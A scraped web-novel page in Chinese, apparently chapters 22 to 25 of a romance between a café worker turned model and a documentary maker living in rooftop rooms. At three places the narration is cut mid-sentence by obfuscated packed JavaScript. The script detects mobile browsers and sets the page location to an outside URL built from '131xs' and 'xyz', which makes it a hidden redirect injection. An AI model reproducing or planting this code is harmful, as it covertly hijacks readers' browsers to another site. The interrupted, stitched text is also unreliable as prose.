“这位,请等一下,有人想见你。” 郑禹胜等了将近二十分钟。 那是一种奇怪的等待。不是试镜,不是试衣,也不是准备回家。他站在走廊尽头,身边是临时布置的灯架和箱子,一股轻微的焦糖气味从楼下餐厅飘上来。 剧组负责人走出来时带着一个卷着剧本的中年人,对方看了郑禹胜两眼,没寒暄,直接说:“你演过戏吗?” 郑禹胜摇头。 “你试过念对白吗?” “高中话剧课。” “现在有个电影剧本在找年轻男主,我们导演想要非表演系出身的人,越干净越好。” 他没出声,只轻轻点头。 那人递给他一张卡片:“这是我们的助理联系方式,下周三来试一场。” 他说好,收下。 走出那栋楼时,天已经快黑了,车水马龙刚起,街头是红白光带交错的影子。他站在街角,捏着那张卡片半分钟没动。 他知道,从这一刻开始,有什么开始不一样了第二天他还是回到了咖啡店上班。制服照旧,黑围裙照旧,只是进门那一刻,老板朝他眨了下眼:“你昨天拍摄,真是对镜头长的。” 他没回应,只拿出抹布擦了擦柜台,开始核对点单,人比平时多一些。中午时分,有三组客人落座前特意看了他一眼,有两个女生点单时低声讨论:“是不是模特?真的很帅很有魅力啊。” 他低头扫码,说:“欢迎光临。” 声音不大,却很清楚。 谢安琪进门时,看见的就是这样一个画面——他站在点单区后,身形笔挺,手指干净地夹着纸杯,动作安静,却在空间中被放大。 几个女生在店外门边贴着玻璃拍照,嘴里在笑,“快点拍,他低头了。” 她站在店门口没动。 风吹起门帘一角,玻璃上映出她自己的身影。她忽然有一丝恍惚:这个身影,和窗内那些目光交错的女生,有什么分别吗? 谢安琪还是走了进去。 “冰美式。”她说,“小杯。” 郑禹胜听到声音抬头,眼神先是一闪,然后淡淡点头:“好。”两人对话只停留在“店员与顾客”那一线。她接过纸杯,手指碰到他递过来的那张收据。他没多说一句话,便低头继续点下一单。 谢安琪走到店里角落,坐下。 那是她第一次觉得,他离她很近,但好像也很远。 不是陌生,而是那种“你正在被别人同时看见”的分裂感,她不习惯这样。过去的他只属于深夜、屋顶、泡面桌、老木椅和屋塔房的风声。而现在的他,在众目中动了动手指,就成了“谁的注视对象”。 她低头喝了一口咖啡,还是那股熟悉的苦。 下班后他回到屋塔房。鞋一脱,包往墙角一放,整个人坐在地板上没动。 郑禹胜今天没跟她说太多话。 不是故意,而是有些东西一旦在镜头前被点名,在生活中就变得难以自然—— 他怕自己一开口,就成了“被拿来谈起的郑禹胜”。 晚上八点,谢安琪敲了敲门,他没料到她会来。 “出来一下吗?”她在门外说,“我有东西要给你。” 他打开门,没问是什么,只跟着她上了天台。月亮很淡,风也淡。她递给他一个小纸袋,里面是一张照片。 是他试镜那天在走廊里等人时,她偷拍的。他靠着墙,没看镜头,光落在他侧脸,眼神不在画面里。 “你那天的样子,我想留下来。” 他看着那张照片,沉默了一会儿,然后说:“你觉得我变了吗?” 谢安琪没说话,只坐在地上,看着他。 “你变得有点远。”她终于开口。 他低声问:“你是不是只喜欢那个还没红的我?”她没回应。风一吹,照片在他手里晃了一下。他们之间的距离,好像就卡在这个问题上,动不得,也说不透。 …… 他们坐在天台的那一端,各自离得不远,也没有贴近。郑禹胜手里还拿着那张照片,指尖略用力,纸边卷起一小道白褶。他看了很久,没有说话。 谢安琪撑着膝盖坐着,目光投向远方,像是给彼此一点空间,也像是为了等他主动开口。 “我确实在变。”他说这句话时声音很轻,却没带回避。 “以前我也不知道会被谁看见,更没想过自己会被拍进什么东西里。” “现在被拍了吗?”她问,“喜欢这种感觉吗?” “我不知道。”他顿了顿,“但我好像……不能拒绝。” “为什么不能?” 他抬眼看她:“你不是也在拍吗?你拍别人的时候,有没有想过他们是不是在被利用?” 她没答。 他接着说:“我现在有一种奇怪的感觉,好像我终于变成了那个值得被拍、被记下、被讲出来的人。” “可与此同时我也不知道——那是不是我了。” 谢安琪没立刻说话。她手指在地面上划着灰尘,一点点堆出一个圆圈。 “你记得你第一次站在我镜头前的样子吗?”她终于问。 “记得。” “你那时候就已经是一个能被记住的人。” 郑禹胜皱眉,像是不信。 “不是因为你走到了哪里,是因为你是你。” “可你一直在拍,记录,采访……你从来没说过你为什么留在我身边。” “你知道原因。” “不知道。” “你明明知道。”她声音忽然变重,“你只是不敢说。” 他看着她,像被触到了什么。 风起了,吹得晾衣绳晃了一下,晾着的一条旧手巾拍在墙上,发出“啪”的一声。“那你呢?”郑禹胜忽然反问,“你拍了这么多人,你留下过谁?” “没人。” “那我呢?” 谢安琪愣住了,他看着她:“我是不是也只是你时间里的一段样本?” “你知道不是。” “我不知道。” 他说这句话时,眼神有点像梦里的那个郑禹胜,沉着,安静,但也有一种悲凉。 “你知道我不是。” “那你告诉我,你拍下的这些,留下的这些,是不是只是因为你害怕自己忘了?” 她喉咙动了动,说不出话。郑禹胜低下头,像在叹气,又像在收回那些情绪。 “我不怕你拍。”他说,“我只怕你拍完以后就走了。” 天台陷入沉默。他们之间像横着一道透明的风墙,吹得每句话都往回卷。她突然觉得有点喘不上气。 “我不会走。”谢安琪说。 “你说过很多次了。”他声音淡下来。 “但我一直都留下来了,不是吗?” “可你每次留下都像是在‘观察’,不是‘活’。” “那你要我怎样?” 他看着她,眼神不再质问,只剩疲惫:“我想你可以只是……陪着。” 这句话轻得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚上他回来时,天已经黑了。屋塔房楼下点着一盏灯,光黄得像用旧电池点亮的。风吹过她家窗户,他正要拧门把时,看见那挂着的塑料袋。 他没多想,取下来拎进屋,拆开的时候嘴角动了一下,郑禹胜知道是她送的。没有名字,也没有便签,但柠檬是她总说“酸得刚好”的那家。 他没去敲她的门,只是把包装袋叠好,放在桌角。夜里快十二点时,他拉开窗,听见风里有一点她播放的录音残响。 像是屋里播放未关的素材——断句、喘息、未处理的人声,他没听清内容。但郑禹胜听得出,那里面的节奏,和他熟悉的她一样。不疾不徐,控制着缓慢靠近。 凌晨时分,她醒了一次。梦见他们坐在屋顶,像平常一样,但四周空无一人,天也不是黑的,而是一种无法描述的深青灰。 郑禹胜没说话,她也没说话。他们只是坐在那里,看着眼前像是一片城市废墟的景象——电线凌乱,楼顶开裂,风吹得所有布帘都往一个方向飞。 她问他:“我们在哪?”他答:“是你拍的片尾。” 她惊了一下:“什么时候拍的?” “你不记得了?”谢安琪摇头。 他轻声说:“但我记得你在。” 她醒来的时候,心口像被风吹过。 次日,两人谁也没找谁,彼此都在屋里忙,但风吹得很稳,屋塔房之间隔着两扇窗,却像连着一根透明的线。 晚上快十点时,她收到一条匿名短信:【如果你不太忙的话,下次拍我的时候,能不能多拍一点没台词的样子。】 她愣了一下,回了三个字:【为什么?】 一分钟后,他回:【怕以后你忘了我本来的声音。】 谢安琪盯着屏幕看了很久,然后轻轻合上手机,去窗边看他那间屋子,灯还亮着。 23.第23章 郑禹胜离开去拍摄的那天,是周三,早上六点半,他敲了谢安琪的门。她刚醒,头发半湿,穿着家居衬衫,脚底踩着拖鞋走去开门。 “我出发了。”他说,谢安琪点头,看了他一眼:“广告拍几天?” “三天,晚上住那边。” “记得吃饭。” “你也是。” 他像还有话要说,但只是把手从背后伸出来,递给她一封牛皮纸信封。 “有人会来寄东西给我。”他说,“这个帮我收着。”她接过,没多问。信封不重,写着他的旧住址,寄件人栏是“金修赫”。 “谢谢。”他轻声说。 她点了点头:“路上顺利。” 他“嗯”了一声,走了。 她站在门口看着他的背影从楼道尽头消失,脚步声在墙面上回响,像被时间拉长了半拍。那一刻她忽然觉得,他们好像第一次把各自的生活拉开成了两条清晰的线。 这三天,屋塔房格外安静。 没有天台上的琴声,也没有他上下楼的脚步。她早上出门,晚上回来,常常在厨房倒水时才发现楼下那个熟悉的水杯没换位置。 她原本打算利用这段时间集中剪辑项目材料,但心思怎么都聚不起来。第二天下午,邮差来了。 那天风大,信件带着一点纸角卷起的声音。她签收了那封信,是她从郑禹胜手上接过的那一份回信。寄信人写着“金修赫”,字迹稳,结构密实。 她本不打算拆,可就在放进抽屉时,封口松了一点,信纸滑了出来。她犹豫了三秒,最终拿起那张纸。信纸只有一页,字写得清清楚楚,没有多余情绪。 禹胜,我听说你最近开始拍广告。说实话,不太意外,你从以前就很知道镜头喜欢什么角度。我还记得你高二那年说:“如果我不能演别人,那我至少要演出我自己。”你其实不该那么早放弃拍电影这件事。不过现在也不算晚,听说那边剧组有动静,如果你真进去了,就别再只是停留在“别人希望你出现的样子”上。去找属于你的影像感。 她看完这段话的时候,心口像被轻轻按了一下。 这封信并没有她想象中的私密情绪,没有亲密问候,没有“朋友间的日常”,只有一种“你一直不甘于只是现在”的坦白。 她忽然有些明白,为什么郑禹胜会在模特拍摄中被导演注意。不是因为他长得适合电影,而是因为他骨子里其实一直在为此等机会。 谢安琪坐在窗边,窗外是杂乱的电线和湿透的瓦片。远处的风吹起天台的塑料布,她看着那片翻飞,忽然想问自己,是不是太习惯他是“还没发生的人”了? …… 第三天傍晚他回来了。 她听见楼道响动,先是钥匙转动的声音,然后是一声短促的咳。谢安琪没立刻开门,只在厨房里泡茶,耳朵却跟着他的脚步动了一圈。 郑禹胜没有来敲她的门。她想了想,把茶放在窗边保温壶里,打算等他开口。但直到天黑,他也没出现。她原本以为他会带回一个“拍摄顺利”的好消息,也许还会有一些轻松的话题。 可窗外只剩下房顶的水声和楼道的风响。她忽然有点不安。也许他们之间不只是拉开了三天的时间。而是已经开始走到彼此的“看不见的偏差”里了。 晚上八点,他终于来了。 郑禹胜敲门的时候,她正坐在地板上研究最近整理的资料,门一开,他站在外面没进来。 “我回来了。”他说。 谢安琪点头:“拍得怎样?” “比我想象得轻松。” “你适应了?” “还行。”郑禹胜看着她,“你那边有收到信吗?” 她点头,从桌边拿起信纸递给他。他接过时看了她一眼,似乎想问她有没有拆。谢安琪没解释,他也没追问。只是把信纸折好,塞进夹克内袋。 “你朋友写得很好。”她忽然说。 “他一直写得比说得好。” “他提到电影。” 郑禹胜嗯了一声。 “你要拍吗?”她问。 他抬眼,眼里有点光,又有点犹豫:“我不知道。” 谢安琪盯着他看了一会。 “你不能只想着留下来被谁看见。”她语气平静,“电影不是唯一的路。” 他一顿。 谢安琪接着说:“广告也好,模特也好,初期事业都要守得住。不是光拍一场就能活。” 郑禹胜忽然笑了,不是高兴那种,而是很轻的讽意:“你说得真专业。” 她愣了一下。 “你这么懂,是谁教你的?” 这句话落下时,气氛骤然变冷,她想说“没有人”,但声音被堵住了,他盯着她,眼神不锐,却像透进来一把薄刀。那一瞬间,他们都意识到原本平行但温柔的线,出现了岔口,或者这只是个微不足道的理由罢了。 “你这么懂,是谁教你的?” 这句话在屋子里落地,像是一块掷在水面上的铁块,没有激起水花,却沉得很快,谢安琪没有马上答,郑禹胜站在门边,目光没有移开,像在等她拆开那句“不属于现在的熟练”。 “没人教。”她轻声说,“我在之前的工作里接触过这类项目。” “你之前不是一直做纪录片的吗?” “我也做过别的。” “你从没提过。” “你也没问过。” 他的眉微微动了一下,那不是质问,而是像一种“对答案的失望”。 谢安琪忽然觉得有点委屈,却也知道,他说的不是没有道理,他是在说:“你对我藏了你会预判、你有经验、你知道什么会红。”而她不知道如何解释这不是“利用”。 “我不是把你当项目。”她终于说出口。 郑禹胜没回应,他只是低头看了一眼茶几上的剪辑记录和相机。那些东西都太专业了,纸上的结构图、素材标签、阶段分析,连字迹都没有犹豫。 “你从一开始,是不是就在观察我?”他问。 “我一直在看你,”她说,“但不是为了别人。” “那是为了你自己。” 这句话让她抬头,他们之间的空气有点冷。不是吵架那种热意,而是逐渐升起的“距离确认感”。 “我不是。”谢安琪的声音忽然有点飘,“我只是……想让你留下来。” “你看。”他说,“你连这句话都说得这么像你是导演” 这一句让谢安琪闭嘴了,不是生气,而是因为——他说中了,她确实在“构图”。不是特意,而是她的视角、她的习惯,她接触一个人时就会在心里排列起顺序,想怎么保存,怎么使用,怎么说出留白。 他站在她对面,却好像站在她纪录片的后景里,她忽然觉得喉咙发干。 “我不是想主导你的人生。”她说,“我只是……怕你走得太快,而你还没想清楚。” “你怕我不够清醒。” “我怕你后悔。” “那你呢?”他抬头,“你后悔留在这里吗?” 她没回答。 因为谢安琪一瞬间也不知道,她不是主动留下来的,或者说她人生里没有几次回来是想主动留下来的,那一晚,两人没有再多说什么。 郑禹胜离开时,门没有关紧,但他没回头。谢安琪听着他下楼的声音,一步一顿,每一下都不像平时的步伐,她没有追出去。 不是赌气,而是她知道,他们现在说的每一句,都不是给对方听的,是在证明自己没有错,她坐了一会儿,站起身,把桌上的笔记合上,放进抽屉。 相机还亮着,谢安琪关了镜头盖,声音很小,但在屋里却响得像落地。谢安琪忽然有点恍惚,她和郑禹胜之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597356|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间好像就是这样——总在收东西,总在准备下一次“不确定的离开”。 …… 凌晨两点,她还没睡,窗外风停了,天色混着一点夜霾,淡淡发亮。 她窝在沙发角,翻着她拍的那些照片,从试镜间到咖啡馆,再到便利店门口他递零钱的背影,每一张都很干净,也都像是抓拍,她翻着翻着,忽然停在一张照片上—— 是他躺在天台那晚,看着她笑的画面。那一刻他没说话,眼神柔得像是藏着风。 她看着那张照片看了很久,然后轻轻合上相册,风又起来了。她回头看向门口,门关得很紧,没有缝隙,他们这次是真的“各自关上门”了。 谢安琪想,也许他们都需要冷静,也许不是不愿意靠近,而是两个人的节奏,真的开始不一样了。 …… 第二天他们谁也没有主动说话,楼道里回响的脚步声听得出节奏不同——他走得更快,她走得更轻,他们像一南一北的风,擦肩而过,却没有掀起一点尘土。 谢安琪去了中央图书馆查资料,在自习室坐了一整天,耳朵里放着计划剪辑的初混音轨,画面如何剪辑反复研究到天黑。郑禹胜一整天没上楼,她从窗口往下望,也没看见他那双鞋出现在熟悉的水泥台阶上。 她没有主动发消息,也没给他留门,不是因为生气,而是因为她意识到:他们之间的问题,不是情绪上的错,而是现实方向的偏。 她一直在往内看,他已经开始往外走。 …… 晚上十点,她泡了一杯绿茶,靠在床边,打开录音机,那是一段旧音——他拉琴时留下的。弓在弦上的摩擦声,有点不稳,却带一种不小心的真诚。 她把音量调低,再调低,直到只剩细微的擦响,这声音让她冷静,却也提醒她一件事:他曾经就在她身边。 不是在谁的镜头里,不是在哪条街的海报上,而是在这个风扇咯吱响、吊灯有点闪的屋塔房里,谢安琪忽然有点想他,可她也明白,现在的想法,不该说出来。 与此同时,郑禹胜正坐在楼下便利店外的台阶上,店员好心给他一瓶未卖出的苹果汁,他握着没喝,只是低头盯着地砖缝里卡着的那颗小石子。 他的背靠着自动贩卖机,风从玻璃门缝吹出来,把他T恤吹得贴在背上,他想了一整天,不是在想“该不该找她”,而是在想“她说的那些,是不是都对”。 谢安琪说得很细,她了解太多,他忽然有种“被看得太透”的反应。可郑禹胜又觉得,自己为什么要生气?她确实懂,而他确实还不够成熟。 他忽然觉得自己像是被自己困住的那种人:怕别人比自己更知道自己是谁,那种被揭穿的感觉,让他想逃,却也想留。 他们同时睡得很晚,夜里十二点多,谢安琪梦见一场海边的拍摄现场,阳光很亮,沙滩很白,有人拿着反光板对准一个身影。 那人站在岩石边,穿着灰色风衣,风吹起他衣摆,他侧着脸,望向不远处,她看不清那张脸,但知道那是郑禹胜。 她喊他,没有应,谢安琪跑过去,他却转过身,像根本不认识她,她停在原地,脚陷进沙里。 那一刻她忽然明白了:也许在他的某个时间线里,她从来没被看见过,谢安琪醒来时,天还没亮,屋里只有风扇转动的声音。 谢安琪没有动,只静静地躺着,盯着天花板上那道裂缝,她忽然感到疲倦,像是在一场对齐失败的剧本里,用力表演了一场观众缺席的对白。 …… 清晨六点,她下楼买早餐,便利店的员工没在,挂了个去卫生间的牌子,门口有两个纸杯还没收走。 她看了一眼,认出那是他昨天留下的——有他写名字的涂鸦:一个像笑又不像笑的眼睛,她没碰,只蹲下来,拍了一张照片。 然后起身回屋,把照片命名为:“我们错过的一夜” 24.第24章 她梦见郑禹胜,是在一场人很多的展览开幕式。 场地设在剧院顶楼的多功能厅,光线偏冷,白墙上挂着巨幅剧照和幕布后拍的静帧。人群缓慢地在画前移动,礼貌而克制。 谢安琪在人群里找他,不是刻意,而是一种梦里才有的“我知道你应该在”的直觉,郑禹胜果然在。 站在展区最深的一角,穿一身黑西装,衬衫扣到顶,头发梳得整齐,神情很淡。他和旁边的人在讲话,眼神游移,但很礼貌。 谢安琪靠近了一点,叫了一声他的名字,他转头,看见她,没有惊讶,也没有喜悦,只是点了点头,像是在确认某位陌生观众的礼貌问候。 谢安琪站在他面前,觉得自己像个重叠错位的画面,她知道这是梦,可她也知道,那是郑禹胜真的不认识她了的样子。 …… 谢安琪醒来的时候,天刚微亮。 屋里没开灯,风扇还在咯咯地转,窗外传来早摊推车上坡的声音,带着细碎的咔哒。她没立刻动,只是躺在原地,一只手搭在额头上,指尖冰凉。 梦里那种“看着他却认不出我”的感觉还没过去。她知道那不是恐惧,而是一种“我曾努力留下痕迹却失败了”的失落。 谢安琪闭着眼在心里默念一遍郑禹胜的名字—— 不是现在的他,也不是年少时的他,而是那个她在不同时间、不同片段里看见过的他,然后她小声说了一句:“你会不会永远都记得错了版本的我?” …… 这天她下午有一个采音任务,在剧场地库拍残响。 结束后朋友拉她去附近的小酒吧,说是一个项目聚餐,她原本想拒绝,可朋友执意,她也就答应了,酒不多,一瓶梅酒分了五个人,但她胃空,没吃晚饭,后劲来得比预想的重。 谢安琪喝到第三杯时,意识到自己眼前的光开始晃,窗外起了雨,风打在玻璃上,像有人敲节奏,她拿起包,和朋友道别,准备走。 有人拦她:“你一个人?要不要我送你?” 她摇头,笑着说:“我家就在这附近。” “你要小心点。” 她点头,出门,走进一片温吞吞的雨,从剧场走到屋塔房只需要十五分钟,但那天她走了三十分钟,雨不大,偏凉,浇在背上,不痛,只是湿。 她没打伞,头发贴着额角,脚步慢,谢安琪不知道是不是因为酒精的关系,还是心里还压着早上的梦,但她一边走一边回想那句:“他不认识我了。” 她忽然很难过,不是失落,而是一种迟来的疲惫—— 谢安琪像是在努力维持一场不属于她的剧本,而主角早就换人了。 走到楼梯口时,她没直接上楼,而是坐在门边的水泥踏步上,背靠着墙,把包抱在怀里,她闭上眼,雨还在下,地面温温的,身上有点冷。 她不知道自己坐了多久,直到楼上传来关门声,然后是他下楼的脚步。 “你怎么在这儿?”郑禹胜的声音不高,但因为夜和雨,都听得特别清楚,谢安琪睁开眼,看见他穿着一件深灰色薄外套,头发有点乱,手里拿着水壶。 “我……刚回来。” “你淋湿了。”他往前走了一步,“要不要上去?” 谢安琪没答,他蹲下,伸手碰了碰她的袖子,湿透了。 “你喝酒了?” 她点头,又摇头。 “喝了一点。” “胃会不舒服的。” 郑禹胜站起身,拉了她一把,她没挣开,任他拉着自己起来,脚底有点飘,他小声说:“别撑了。” 谢安琪点点头,郑禹胜扶她上楼,一步一步,不快,也不问,像他们已经走过很多次这样沉默的夜,只是这一次,她终于靠在了他身边。 屋里很静,郑禹胜替她把椅子拉开,让她坐下,再去厨房接了热水,她没说话,只是坐着不动,雨水从发梢滴到衣领,一点点打湿后背。她的手还抱着包,像一个防守姿态还没解开的人。 他从厨房回来,把热水放在桌上,拉开抽屉找出毛巾。 “衣服要换一下。”他站在她面前,“你不冷吗?” 谢安琪点头,还是不动,他蹲下来,把毛巾递给她,又试着替她把一缕贴在脸边的头发拨开。 她忽然抓住了郑禹胜的手腕。 “你记不记得我第一次出现在你门口的样子?”她问,声音有点低,“那天你也没问我从哪来。” 他没有抽手。 “记得。”他说。 “那你现在还能认得出是我吗?” 郑禹胜看着她的脸,灯光从斜上方照下来,她的眼神比平时湿一些,不是醉,也不是哭,而是整个人像被泡在水里,带着一种“怕你忘”的小心。 “记得。”他说。 “你怎么记得的?” 他低声:“因为你是淋雨也不走的那种人。” 谢安琪笑了一下,低头,用毛巾把脸埋进去,不是哭,但像在躲一场早就来迟了的情绪。 “那你为什么一直都不问?” “问了你也不说。” “那你怎么知道我不会说?” 他没答。 她忽然抬头:“你是不是也觉得我有时候太像个观察者了?” 他轻轻点头:“但你不是。” “为什么?” “因为你记得每一件无关紧要的事。”郑禹胜说,“只有不冷的人,才会记这些。” 谢安琪又安静了几秒,然后忽然站起来,拉开自己那件被雨打湿的衬衫外套,一边走向窗边,一边说:“你要是以后不认得我了,我就让你记住今天这个样子。” 他看着她湿漉漉地站在那里,像一个刚走出片场、还没卸妆的角色,郑禹胜没笑。只是轻轻说了一句:“我永远记得你。” 谢安琪靠在窗边,看着外面一片黑,雨停了,但水珠还挂在瓦檐,风一吹,就落下来,像碎了的声音。 “我梦见你老了。”她忽然说。 “嗯?” “我梦见你穿得很好,出现在一个展览开幕式上,但你不认得我了。” 郑禹胜没动。 “我当时在梦里没有叫你。” “为什么?” “因为我觉得你那时候已经不需要我记得你了。” 他站了几秒,走过去,站在她身边。 “我想你记得我。”郑禹胜说。 “可你不说。” “你也没说。” “那我们不就一直这样下去了吗?” 郑禹胜没回答,谢安琪忽然靠在他肩膀上。不是醉,也不是依赖,而是一种“你别再走远”的姿态。他没动,只是静静站着,任她贴上来,像默认一件不该迟到的事终于来了。 …… 他们坐回桌边时,屋里没有多余的灯光。 她披着浴巾,他坐在旧木椅上,两人之间的空气是温的,但不烫,谢安琪喝了半杯热水,擦了擦脸:“我有点后悔喝酒了。” “但你今天说了很多话。” “你不喜欢我说话多?” “我喜欢你说话的时候不像在写台词。” 她偏头看他一眼,眼神软了些。 “那以后你想我说什么?” “你不用说。”郑禹胜语气很淡,“你愿意留下来就够了。” 她低头笑了一下:“你不是问过我,未来有没有你?” “嗯。” “我那时候没答,是因为我也不确定。” 他点点头,没催她补答,谢安琪看着他,忽然低声说:“但我现在有点想知道,如果你记得的未来是今天晚上,那我可不可以也待在你那条线里?” 郑禹胜没急着回答,只是抬头看她。 “你刚才靠着我。”他说。 “嗯。” “你以前不这样。” “那是以前。” “现在呢?” 她看着他,忽然有点不怕了。 “现在我也不知道我们算什么,但我知道,我不想明天醒来我们又退回去了。” 郑禹胜呼出一口气,像在松开什么。 “我不走。”他说,“你别赶我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603324|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我没赶你。” “那你让我留下来吗?” “你已经在这儿了,不是吗?” 郑禹胜轻声说完这句话,拿起桌边的空杯,看她一眼:“你要不要喝点热的?” 谢安琪点头。 “什么都行。” 郑禹胜起身去厨房,谢安琪看着他背影,忽然觉得,有些“没有说完的关系”,其实一句“喝点热的”就够了。 水烧开的那一瞬间,郑禹胜站在厨房的狭小角落,手扶着电壶,看着水蒸气一点点爬上壶盖,屋子里安静到几乎能听见两人的呼吸。他把热水倒进杯子,晃了晃,又放了点姜片。 谢安琪接过的时候没说什么,只是轻轻捧住杯子,郑禹胜在对面坐下,屋里没开主灯,只留一盏桌边的小灯,光线洒在木桌上,影子柔,人的边缘也松了下来。 谢安琪说:“我今天本来不该喝那么多的。” 他点点头。 “但我喝醉了,也不想假装清醒。” “你不用。” 谢安琪盯着他看了一会。 “你今天晚上会记得吗?”她问。 郑禹胜没答,只回看她一眼,她接着说:“我的意思是——如果我们明天又吵架,或者又不讲话,你还会记得今晚我靠着你、你给我毛巾、你没走?” 他点头:“我会记得。” 她低声说:“那就够了。” …… 夜已经深了,她撑着下巴坐着,眼皮有点沉,情绪却慢慢稳定下来。 “你还不回去?” 他看了她一眼:“你想让我走?” 谢安琪没说话,只是轻轻摇了摇头,郑禹胜也没动。他们就那样坐了一会儿,像是各自消化着这场并不激烈但情绪过剩的夜晚。 “我可能不会马上告诉你所有的事。”她忽然说。 “我知道。” “但我会慢慢说。” “你说多少我都听。” 她笑了一下,那种“终于有回应”的轻微解脱。 郑禹胜最后是在她沙发上睡着的。不是躺,而是半坐半靠着,手还搭在毛巾上,整个人呼吸很稳。谢安琪没有叫醒他,只在他闭眼之后,起身替他盖了一层薄毛毯,又把灯调暗,窗户关上。 谢安琪躺在在床上,迟迟不肯睡去,总是听着他在屋里安静呼吸,那呼吸声不是陌生的——她曾在采访无数个清晨或夜里听过别人这样的呼吸。 但这一次不同,因为这个人不是被她记录的对象,而是她愿意不剪、不导、不打光地留在生命里的人,谢安琪想,可能就是今晚,她才真正意识到自己不只是想“见证”他,而是想成为那个他也可以回头确认“在的人”。 …… 这一次,谢安琪没有做梦,反而是他在凌晨两点醒了一次,不知道,郑禹胜睁开眼,看见昏黄灯光下的屋子,坐在窗边椅子上的她睡着了,侧脸靠着椅背,眼睫毛像是贴着光。 他轻轻坐直,看了她一会儿,没有说话,也没有起身,他只是看着,然后悄悄拿起桌上的那张她下午记录用的便签纸,在背面写了一行字,写完之后,他把纸压在她杯子底下,又躺回沙发。 闭上眼前,他在心里说了一句:“你要是记得我今晚的样子,那就够了。” …… 天微亮时,谢安琪醒了。 风把窗帘吹起一角,屋子里一点点被早光照亮,她看见他还在,呼吸轻,额前发乱,手搭在毛毯外面。 她没叫醒他,只是起身,走到桌边准备倒水,才看见压在杯底下的那张便签。 她拿起来,看见上面写着:“你靠着我的时候,我不是怕你醉,而是怕你明天醒来就不记得你靠过。” 谢安琪没哭,只是坐下来,把那张纸叠了三折,塞进书架最深的一本诗集里,然后去洗了脸,对着镜子深呼吸。 今天也是平常的一天。 但谢安琪知道,从昨晚开始,他们之间,已经不是“谁先开口”的问题了,而是这一次,他们终于都在彼此记忆的“当下”留下了痕迹。 25.第 25 章 下雨是在傍晚,总是有雨而来,像是很明白人的心情一般,不过雨起得不算突兀,只是云悄悄压低了一点,然后风顺着胡同口灌进来,一股凉气扑在屋塔房的门缝上。 谢安琪站在窗边,看着玻璃上被敲出第一滴水珠的时候,刚好在听录音带。是老式的,磁带机转得慢,音质有底噪,沙沙地响。 她原本只是想听一段街头环境音的素材,但那一刻,录音里传出一段她忘记什么时候录下的自言自语:“如果你记得我,就听这个。” 谢安琪一怔,那是她上周晚上留下的那张卡——放在便利店收银台的,带编号,带时间,给他却没告诉他。 谢安琪不记得他有没有听,但就在这一刻,她知道自己已经不再问“他记得哪一个版本的我”。她只想知道,他是不是会说出口。 雨越下越大,她站在窗边,看见胡同口有人撑着伞走过,有人仓皇跑着避雨,还有一只小猫躲在便利店门廊下。 谢安琪原本以为这场雨会像之前几次那样,淋过屋顶就过去了,但这一次,好像要多下几分钟,多留一点余地,她心里升起一个念头。 想见他,就是突然想见他,不是去问、不是去确认,而是去站在一个“他可以靠近”的地方。 她穿了件深蓝色外套,雨还没打进楼道口,她就听见门外有脚步声。有人顺着楼梯往上走,鞋底粘着雨水,踩在木板上发出低低的吱声。 谢安琪还没来得及开门,那脚步声已经停在了门外。 他敲了三下。 谢安琪开门的时候,风扑了进来,把他肩上的水珠扫进屋里,郑禹胜站在门口没说话,外套被雨打湿,眼睫毛下挂着水滴,呼吸有点快,却不重。 她没问为什么来,他也没说,只是眼神往屋里扫了一圈,然后问:“能进来吗?” 她侧了身,让他进来,门关上,世界只剩他们两个和一场仍在下的雨,他站在门边,把包卸下来,发梢往下滴水,他拿毛巾擦了擦。 她递给他热水,他接住的时候,手指微微碰到了她的。谢安琪忽然觉得,这场景她曾在梦里见过——雨夜,他靠近,她没开口,他却先伸手。 “你今天……还好吗?”她试着开口。 郑禹胜点点头:“看到便利店的卡带了。” 谢安琪一怔。 “是你放的吧?” “你听了?” “听了一点。” “然后呢?” 郑禹胜没立刻回答,谢安琪忽然觉得手心有点热,杯子捏得太久,水快凉了,他低头看着那杯水,说:“我不确定你想让我记得哪一个你。” “什么意思?” “你每次靠近的时候,都像是试着把现在的你,和一个‘你想我记得的你’叠在一起。” “你说得对。”她抬头看他,“我也不知道你记得的是哪一条线的我。” “那你来做什么?”她问。 “我想看看你现在的样子。” 谢安琪没动,他放下水杯,眼神没有移开:“我想确认你在这一条线里,还是你只是在试着留下来。” “如果我是试着呢?” “那也没关系。” “为什么?” “因为你至少来过。” 谢安琪忽然有点撑不住这种对话,走开一步,靠在窗边,郑禹胜没过去,只是在原地站着。 外面雨还在下,风吹得玻璃一阵一阵发响,她回头看他,忽然问了一句:“如果我现在说,我不想再跳跃了,那你……会接住我吗?” 郑禹胜没回答,就像是这种事情本来就是没有答案的,但郑禹胜走过来,站在她身边,轻轻把窗户关上,然后说:“你一直在。” 